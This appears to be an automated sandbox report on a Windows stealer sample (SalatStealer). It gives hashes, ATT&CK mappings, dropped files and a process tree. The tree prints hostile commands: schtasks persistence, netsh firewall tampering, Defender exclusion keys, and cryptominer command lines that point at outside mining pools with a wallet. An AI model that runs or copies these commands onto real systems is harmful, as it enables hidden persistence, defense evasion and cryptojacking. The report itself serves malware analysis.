salatstealer | 0ed5f89495d323094e05eb354a5822dd0c37a17488fccacff5c0280b3b461c62

Analysis

max time kernel
5s
max time network
152s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 07:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file.exe
Size 27.8MB
Sample260930-h17mgaxcld
SHA256 0ed5f89495d323094e05eb354a5822dd0c37a17488fccacff5c0280b3b461c62
MD5 bd23fa7d55af4e47b3ffd04dafafc366
SHA1 f8c22edde9f7a3198447d8a583768e6080895275
SHA512 b53b4e76d4df774b2cf045eed062e0f8f10fef6774fe771399731d9119d803783b48d9869112a84e07d5506c2ef3223bde45107160f105843e8e5ba27d994e88
SSDEEP 393216:g35jkUaGAYbdLaSW3jBCoWHASO0IgF/D8jTQ6Xx/3UPFOJ6aFLy/gXjfoLP7+i:gFIJaO58sSOyij8exPUa6ILggTfk+i
TLSH
T1C457336E39B2594DF518FB3B290458476376C7B082A36E75AE339BCF624F4CD1836890
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion execution salatstealer persistence stealer trojan upx

Malware Config

Signatures

Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer

Detect SalatStealer payload 16 IoCs

resource	yara_rule
behavioral2/memory/5788-54-0x0000000000780000-0x00000000013D6000-memory.dmp	family_salatstealer
behavioral2/memory/5788-82-0x0000000000780000-0x00000000013D6000-memory.dmp	family_salatstealer
behavioral2/memory/5788-84-0x0000000000780000-0x00000000013D6000-memory.dmp	family_salatstealer
behavioral2/memory/5788-85-0x0000000000780000-0x00000000013D6000-memory.dmp	family_salatstealer
behavioral2/memory/5788-92-0x0000000000780000-0x00000000013D6000-memory.dmp	family_salatstealer
behavioral2/memory/5788-101-0x0000000000780000-0x00000000013D6000-memory.dmp	family_salatstealer
behavioral2/memory/5788-118-0x0000000000780000-0x00000000013D6000-memory.dmp	family_salatstealer
behavioral2/memory/5788-121-0x0000000000780000-0x00000000013D6000-memory.dmp	family_salatstealer
behavioral2/memory/5788-122-0x0000000000780000-0x00000000013D6000-memory.dmp	family_salatstealer
behavioral2/memory/5788-135-0x0000000000780000-0x00000000013D6000-memory.dmp	family_salatstealer
behavioral2/memory/1080-147-0x0000000000FD0000-0x0000000001C26000-memory.dmp	family_salatstealer
behavioral2/memory/1632-151-0x0000000000E40000-0x0000000001A96000-memory.dmp	family_salatstealer
behavioral2/memory/1632-156-0x0000000000E40000-0x0000000001A96000-memory.dmp	family_salatstealer
behavioral2/memory/1632-176-0x0000000000E40000-0x0000000001A96000-memory.dmp	family_salatstealer
behavioral2/memory/1632-178-0x0000000000E40000-0x0000000001A96000-memory.dmp	family_salatstealer
behavioral2/memory/1632-183-0x0000000000E40000-0x0000000001A96000-memory.dmp	family_salatstealer

Windows security bypass 2 TTPs 1 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1072	netsh.exe

Executes dropped EXE 1 IoCs

pid	Process
1556	file.exe

Windows security modification 2 TTPs 2 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions	file.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	file.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
2	pastebin.com
9	pastebin.com

UPX packed file 18 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/files/0x000c00000001c61a-11.dat	upx
behavioral2/memory/5788-13-0x0000000000780000-0x00000000013D6000-memory.dmp	upx
behavioral2/memory/5788-54-0x0000000000780000-0x00000000013D6000-memory.dmp	upx
behavioral2/memory/5788-82-0x0000000000780000-0x00000000013D6000-memory.dmp	upx
behavioral2/memory/5788-84-0x0000000000780000-0x00000000013D6000-memory.dmp	upx
behavioral2/memory/5788-85-0x0000000000780000-0x00000000013D6000-memory.dmp	upx
behavioral2/memory/5788-92-0x0000000000780000-0x00000000013D6000-memory.dmp	upx
behavioral2/memory/5788-101-0x0000000000780000-0x00000000013D6000-memory.dmp	upx
behavioral2/memory/5788-118-0x0000000000780000-0x00000000013D6000-memory.dmp	upx
behavioral2/memory/5788-121-0x0000000000780000-0x00000000013D6000-memory.dmp	upx
behavioral2/memory/5788-122-0x0000000000780000-0x00000000013D6000-memory.dmp	upx
behavioral2/memory/5788-135-0x0000000000780000-0x00000000013D6000-memory.dmp	upx
behavioral2/memory/1080-147-0x0000000000FD0000-0x0000000001C26000-memory.dmp	upx
behavioral2/memory/1632-151-0x0000000000E40000-0x0000000001A96000-memory.dmp	upx
behavioral2/memory/1632-156-0x0000000000E40000-0x0000000001A96000-memory.dmp	upx
behavioral2/memory/1632-176-0x0000000000E40000-0x0000000001A96000-memory.dmp	upx
behavioral2/memory/1632-178-0x0000000000E40000-0x0000000001A96000-memory.dmp	upx
behavioral2/memory/1632-183-0x0000000000E40000-0x0000000001A96000-memory.dmp	upx

Executes a command shell one-liner 1 TTPs 6 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
720	cmd.exe
352	cmd.exe
712	cmd.exe
1984	cmd.exe
5420	cmd.exe
3336	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 4 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2488	schtasks.exe
2744	schtasks.exe
3304	schtasks.exe
1680	schtasks.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 4656 wrote to memory of 1556	4656	file.exe	90

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4656
- C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\file.exe
  "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\file.exe"
  2⤵
  - Windows security bypass
  - Executes dropped EXE
  - Windows security modification
  PID:1556
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\ddd.exe
    "C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\ddd.exe"
    3⤵
    PID:5788
  - - C:\Users\Admin\AppData\Local\Packages\dwm.exe
      C:\Users\Admin\AppData\Local\Packages\dwm.exe
      4⤵
      PID:1632
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsCache /SC ONLOGON /IT /RL HIGHEST /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe\" --mnr-task"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2488
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsCacheBoot /SC ONSTART /RU SYSTEM /RL HIGHEST /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe\" --mnr-excl"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2744
- - C:\Windows\SYSTEM32\netsh.exe
    netsh advfirewall firewall delete rule program="C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe"
    3⤵
    - Modifies Windows Firewall
    PID:1072
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheHealth.exe
    "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheHealth.exe"
    3⤵
    PID:5832
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsCache /SC ONLOGON /IT /RL HIGHEST /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe\" --mnr-task"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3304
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /Create /F /TN WindowsCacheBoot /SC ONSTART /RU SYSTEM /RL HIGHEST /TR "\"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe\" --mnr-excl"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1680
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
    "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1py5yd4xuzz8pl59e9rc0le2tpuv6nx72q2hh87f2the9x7l5tvwfs7q07a5 --worker WORKER1 --password x --tls false --api-enable --api-port 22200 --api-rig-name WORKER1
    3⤵
    PID:4496
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c set
      4⤵
      Executes a command shell one-liner
      PID:1984
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
    "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1py5yd4xuzz8pl59e9rc0le2tpuv6nx72q2hh87f2the9x7l5tvwfs7q07a5 --worker WORKER1 --password x --tls false --api-enable --api-port 22200 --api-rig-name WORKER1
    3⤵
    PID:1840
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c set
      4⤵
      Executes a command shell one-liner
      PID:5420
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
    "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1py5yd4xuzz8pl59e9rc0le2tpuv6nx72q2hh87f2the9x7l5tvwfs7q07a5 --worker WORKER1 --password x --tls false --api-enable --api-port 22200 --api-rig-name WORKER1
    3⤵
    PID:4920
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c set
      4⤵
      Executes a command shell one-liner
      PID:3336
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
    "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1py5yd4xuzz8pl59e9rc0le2tpuv6nx72q2hh87f2the9x7l5tvwfs7q07a5 --worker WORKER1 --password x --tls false --api-enable --api-port 22200 --api-rig-name WORKER1
    3⤵
    PID:2644
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c set
      4⤵
      Executes a command shell one-liner
      PID:720
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
    "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1py5yd4xuzz8pl59e9rc0le2tpuv6nx72q2hh87f2the9x7l5tvwfs7q07a5 --worker WORKER1 --password x --tls false --api-enable --api-port 22200 --api-rig-name WORKER1
    3⤵
    PID:3312
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c set
      4⤵
      Executes a command shell one-liner
      PID:352
- - C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
    "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe" --algorithm-gpu pearlhash --disable-cpu --gpu-disable-oc --disable-worker-watchdog --give-up-limit 2 --pool pearl-eu2.luckypool.io:3360,de.pearl.herominers.com:1200,prl.kryptex.network:7048 --wallet prl1py5yd4xuzz8pl59e9rc0le2tpuv6nx72q2hh87f2the9x7l5tvwfs7q07a5 --worker WORKER1 --password x --tls false --api-enable --api-port 22200 --api-rig-name WORKER1
    3⤵
    PID:2304
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c set
      4⤵
      Executes a command shell one-liner
      PID:712

C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe
"C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheAssistant.exe"
1⤵
PID:5040

C:\Program Files (x86)\Windows Media Player\sppsvc.exe
"C:\Program Files (x86)\Windows Media Player\sppsvc.exe"
1⤵
PID:1080

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

8B2B9A00839EED1DFDCCC3BFC2F5DF12

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\8B2B9A00839EED1DFDCCC3BFC2F5DF12
Size 1KB
SHA256 6f7bfa4789bd506ccf81640feec036bac7c0354084ca472f55a79ce53b9c3ade
MD5 b15dfb1600ace7f0c686862d26b733ad
SHA1 3bfa41f3ea756f0377dbc2900736ca74c8d42702
SHA512 3d261c2965f608b6af5490e10522db148140bb73a1332a132742db0d4c78783c93273c594e2465011a2062a043e0027281f6062f90aff584fc603162bd1d79fd
TLSH
T1A831B04EA2053023DA49BF72D8CE7E83CDB0374BABCAD45B19445E4229AAFC25FC40C5
MD5 SHA1 SHA512 TLSH

Submit Download

92FDCB4A9EA3501777EE30E62CEEFAEF

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\92FDCB4A9EA3501777EE30E62CEEFAEF
Size 310B
SHA256 6aeff6a0ff8531f7d7f71d62abf56faf09cede2f2e488a89528b42a1efc90b0f
MD5 f2a114617a5386b908ffcdf8486043ea
SHA1 04c25626e986254b5368b9287690792e9d8ee3e7
SHA512 ce8bf4263840fc3febfb0ff8b2da6822fb17c33e5f637302404f18a7e8092d8bee1125e193d359e4b9b4f8c44a68fd4f3edb63c28c97e3eebd68cb0c1884eb3c
TLSH
T1AFE07D98967937C10B68E440F8A5C0D71CF49483178EF0814680C73168D7F97C5C9188
MD5 SHA1 SHA512 TLSH

Submit Download

B46811C17859FFB409CF0E904A4AA8F8

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B46811C17859FFB409CF0E904A4AA8F8
Size 528B
SHA256 d2bb091268ade68ad8121d2184d0fbce128070156304bd4de312e6fbd267409c
MD5 047f3e9d21d6b325d592b1959e4362e6
SHA1 5aeef5f985171cd69da397fd039854e44ebecdd2
SHA512 4523896ed4a03afafd2075d8c8947236d34fe1da2c246a3f90c2be2a5c151c18bc58a6cde5a209abb8e06e80f662e24d0149640b3e98e8a872bfa8a04ef592a4
TLSH
T147F0500990082252C855FF55DFD6AC97DC76336136E595036D458E410C12F96AF950F5
MD5 SHA1 SHA512 TLSH

Submit Download

8B2B9A00839EED1DFDCCC3BFC2F5DF12

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\8B2B9A00839EED1DFDCCC3BFC2F5DF12
Size 174B
SHA256 a51f59e5fa44d4c12a75148c7d09924d7032274630215a3cab45120a4a776f1a
MD5 1ed4b17c76c2fe2f51d2e40c9be953cf
SHA1 319b8cb10ca5eb3841753428c6c0d86f242f16d9
SHA512 f83df0e380cbbbf320ba24e557dd1549fba052c8c7a832b47ebe77d2f111a277db56369100407a97d68bcd0191d8a405ded6f65327bdac02383575f9b9f33090
TLSH
T132C02B4433300328F0301A7F445382404FFEC204D88383A02F30110C811DA424CF0C07
MD5 SHA1 SHA512 TLSH

Submit Download

92FDCB4A9EA3501777EE30E62CEEFAEF

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\92FDCB4A9EA3501777EE30E62CEEFAEF
Size 192B
SHA256 7ab409306890bee82d8073741db0c5109560e2bb2b7db4cd3faf5cc2d401d0ea
MD5 6a0c059a9d7bb3e50d94bcfc1d281f07
SHA1 63b9c3220caa57ea360f83805d897af212e0527d
SHA512 5409b9efbedbf93b4f8b7255a8e243fb79be73f4e670cc921cff774364f40f9e99fc272cfa0d3f0f494a92cbca1e01dc57988b3570f0a5a68d40570ec7821e95
TLSH
T19BC08C242AB72389E214023D0EB247496BF49F68C28287992BB2010E401BA011CA1D0B
MD5 SHA1 SHA512 TLSH

Submit Download

B46811C17859FFB409CF0E904A4AA8F8

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B46811C17859FFB409CF0E904A4AA8F8
Size 170B
SHA256 cad1374be86b8652dcfb2ddd2da0516241ff6cb3c0c0a1e8d925edf7a805e008
MD5 a4dbf38cd47170980acd29f50166c5c5
SHA1 8c28e9f40747d9b762c757067eb9fa0a67c3debd
SHA512 dce7642a19c1e585b8277bcab8589a0398801b67b2a7aebc7ef7391bf69b2c9fc7bbe07fa8bf6944a2c86ea1b868d08569c81fbb2aa1ee10bf8c03fdd4a25332
TLSH
T14DC09B24B3654715F14D217D7DD61A0417B58105F5C6C3054B741538C5196400C71D05
MD5 SHA1 SHA512 TLSH

Submit Download

MicrosoftCacheHealth.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheHealth.exe
Size 214KB
SHA256 9b3cdb74d086aa695aeb96867ffba982c2c316b3dd8442785d45128fd4d82280
MD5 a1cfe72f4e8309c23a86365e50eb64f0
SHA1 947a3e51f2983fc0d77fc6a068eb05591a2b2306
SHA512 0af7ad2bdaa6a04678953a5330d15d806b55e831bdc6632b48f2c6188877485665bdefbd064bf2c447eaa69f4744cca4790cee243a0707d125d5c64a6f8cf770
SSDEEP 3072:pGaOQL8wpd5U2tUwKo1kdXMj5WcocMDppRQghW0bx1oOm+XAszwZkte:gwfRUwKzdXMl92pOAPbxTAszwke
TLSH
T114241983A58954F4E857B13CA30BE125DB62BC720794E0DF07705712BF5BAE46E3EA21
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MicrosoftCacheWorker.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\MicrosoftCacheWorker.exe
Size 24.1MB
SHA256 a0d90564ef9a943924f381c8952f91b98e4910012225e88d397ed941068300c9
MD5 820e2e8e4b843fdb5f4e7a5141a996a0
SHA1 24b216dc98ba21bf48d608b9ffde854324165b05
SHA512 5d8829e519e52e2546a709b52103def486332c91edf84b718e5d1bbf5895d6e70ef9c7c6f66b39ec0665dadb2d8d51a0de4138c3728f01827eb4e9b81c535037
SSDEEP 393216:g00lqca+bzCybph17BSCkRsBQ0HwYCM+k5VHwGKdidPViJGB/wmipELoHd:wlha+bzCkPD9AYCnGdQJGY
TLSH
T143473386D1066FB6C54A3A3BCB33084B56658BBCD7D606C09C98F775901EC9E0D6BACC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

build.json

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\build.json
Size 1KB
SHA256 b57d89c88f0872972be4d3580fc9a453b40a8826dd89baae8c437e5e12a7f251
MD5 ccbd6ea6b09fb04f0f01e3f06bd502a3
SHA1 6c05ecb192407e39637227e94ff3f3918c0b3306
SHA512 0951a1c5f2f56b17220201cff920dde5a9e55a4e06ffd98046cbc03f1f43b74b175d4630c2fd23a56619863ac72345d40ccb8405b2281497c73504a42a703b1a
TLSH
T1E321F022C82C47BA1BD1745E9CB9E21B86210C233107BC745747C218984D33B32B9E7D
MD5 SHA1 SHA512 TLSH

Submit Download

build.json

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\build.json
Size 1KB
SHA256 18a60d30293465977d5da47f04169abf43d243a5786a8a3bfd87bf84ae95669c
MD5 a0b66105eb302ffaeb245bb804c6db26
SHA1 cfd4fd323448f4cad01782154e770841e0781e8d
SHA512 a280d8645762e64d45e43f8d04de32e008637a5baf5c0ffb4174831e1cf728a655fce25a5e74d09e75a99997aaefa76d53bd761f5e16cb100cb7d6e4a04e005f
TLSH
T11921CE22C82C47B62BD1755E9CB9E21B86214C233147BC745787C608988D33B22B9E7D
MD5 SHA1 SHA512 TLSH

Submit Download

gpu_duty.json

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\gpu_duty.json
Size 95B
SHA256 60026affc36612bec735c640acfce7d030ec8bc400ab8c680ebd2c76d64563df
MD5 43237246dbac5f6a047e91049ceee49c
SHA1 ae4d1dd5f48c8e7e582a52593c046efea8804d1d
SHA512 cc2e0ca8b316599c3d142a006e97049b348723122f755499f23453f1b41c4585e48a0030c7fc2972a984166789357d09d7e14a04009474c3ff7ee9d913b73e78
TLSH
T1F9B012580424C8695000438583D709F111BD112B0B51ED44D4EC870C05544768818D67
MD5 SHA1 SHA512 TLSH

Submit Download

gpu_status.json

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\gpu_status.json
Size 139B
SHA256 346aca036a709f213d6d3aebf32310990fc02b8c0372806741f03ba8bb112095
MD5 168994e07e6110feb4045d0bd2df4ce2
SHA1 7943819838c717cf9f1aafce379a9b0f3560f6c7
SHA512 cd535abacec865d3fd77deae3cd55fe7856cfb9aa19b33ea08185fc9303f5f8257f4be94cbdaad75bba9127ee8d18b98d90f814190382482bd7a3822993f3a4b
TLSH
T180C02B3BCA0113686F013B43644B68B3CE7029AB129A2030A50987CCE90C83D1A2400C
MD5 SHA1 SHA512 TLSH

Submit Download

gpu_status.json

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\gpu_status.json
Size 135B
SHA256 9bbdcd7fd28a956ea7cdc602e9f16f293612ca7bd5956178e80058d48f9685da
MD5 3c722782dca5628bdf470edc01ce02dc
SHA1 e2e117662669f5c55f1b4d92eb104ccff36a2b5f
SHA512 534dfea2e435daecd349a00aa92f212cfff1dff8ac6c59a8f36bc0e445dbc27e9266a33dfbbc40a0b87cff355066c44ce0cdef164545db2bf83d67f1af257d39
TLSH
T16CC02B27CA0513286E013B43644B6C63CE71296B119B2030D909878CF90C82A062400C
MD5 SHA1 SHA512 TLSH

Submit Download

taskmgr_hook.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\taskmgr_hook.dll
Size 14KB
SHA256 022d6d6bc21a8a87489cdeb8779ba72fa09a9b0f6bb0e4fa91f8880fe510e501
MD5 7981da27d72e395902ce0c22288be9d3
SHA1 220651acea48662a9ffa17a6deda7c57b0aa3c8c
SHA512 13ae01479583db8a568ed41836d7e74a06f2c13c903565f9da1a8d457463d1e8ff7f09a04c83c26d95ff8659b36d082860e583ef1be898bd35a0af4deb70f69e
SSDEEP 192:6vbwZ92ZNJGwRhCIhv9Kx+R3bYzlmOP2G+V4lc:6vb/XJ5qIrQ+5POOJV4l
TLSH
T13E62EB4D379249A9D65FF53541FB8F3CBAF1F8109D82922C4238EB3A0DA1A666735F01
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

file.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\file.exe
Size 27.7MB
SHA256 687f2b46ebeb5234a68a55463fb941320ae264619308af7a3f5e902d9bfb92b2
MD5 d1a519f381f271e2bf9cd2ff9893e4d1
SHA1 0ce931cb6dc6ee54c9082e476925962a45289b48
SHA512 e5ee82e77f6362d0243ca1553dbb7fd5706ebabf44085cfa4d1b79d074c37a5077dd2871ef076f82232bb0760962e7a0926eb0b5fe928544b30b8d6285d6d254
SSDEEP 393216:zWyWfuUn5vexx5V22WO6oH71QSwPNyeW1153R2nbafS1/K4ht5uhr2FBvW/p:zWVe/542WO6oeRV9gFRwbafw/N5kkBgp
TLSH
T189573357839890E4D9D7E37CD28BEAA4EF737012076685EB13E016143D1A7CC6A7EB60
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ddd.exe

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Update\rt\WinInetCache\ddd.exe
Size 3.4MB
SHA256 02b400d2226373c37c264192bb4aeb603a73eabefedcf921920c634c128d9e2f
MD5 6a72a2e02673fb083e82a0561f73a207
SHA1 9b86093964e31e2b2535ff49285d067bf0887bab
SHA512 57a461b3217d6d565eb96f472bb9b09cd958742ece7dd3cdcf36da816191675edcd9fb8ef44440e4c5152df71e9568e03e1a84b5a286733d619e7ab068ecb16e
SSDEEP 98304:pve6/ABXeLMHdofDr1B15bosduh/nYfx:pG7r9ofDhB15bosQ/nYf
TLSH
T12CF533ABCE2E602BE6D01278410B799D7AFBDFDCC61722F1B66C40687DE76AC1054708
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1080-147-0x0000000000FD0000-0x0000000001C26000-memory.dmp

Download

memory/1632-156-0x0000000000E40000-0x0000000001A96000-memory.dmp

Download

memory/1632-183-0x0000000000E40000-0x0000000001A96000-memory.dmp

Download

memory/1632-178-0x0000000000E40000-0x0000000001A96000-memory.dmp

Download

memory/1632-151-0x0000000000E40000-0x0000000001A96000-memory.dmp

Download

memory/1632-176-0x0000000000E40000-0x0000000001A96000-memory.dmp

Download

memory/1840-86-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/1840-93-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/1840-87-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/1840-88-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/1840-89-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/1840-90-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/1840-91-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/1840-83-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/1840-100-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/2304-193-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/2304-192-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/2304-197-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/2304-195-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/2304-194-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/2304-190-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/2304-196-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/2304-191-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/2644-145-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/2644-146-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/2644-148-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/2644-149-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/2644-150-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/2644-152-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/2644-137-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/2644-138-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/3312-175-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/3312-172-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/3312-171-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/3312-170-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/3312-173-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/3312-174-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/3312-177-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/4496-70-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/4496-52-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

memory/4496-53-0x00007FF7EE010000-0x00007FF7F0D03000-memory.dmp

Download

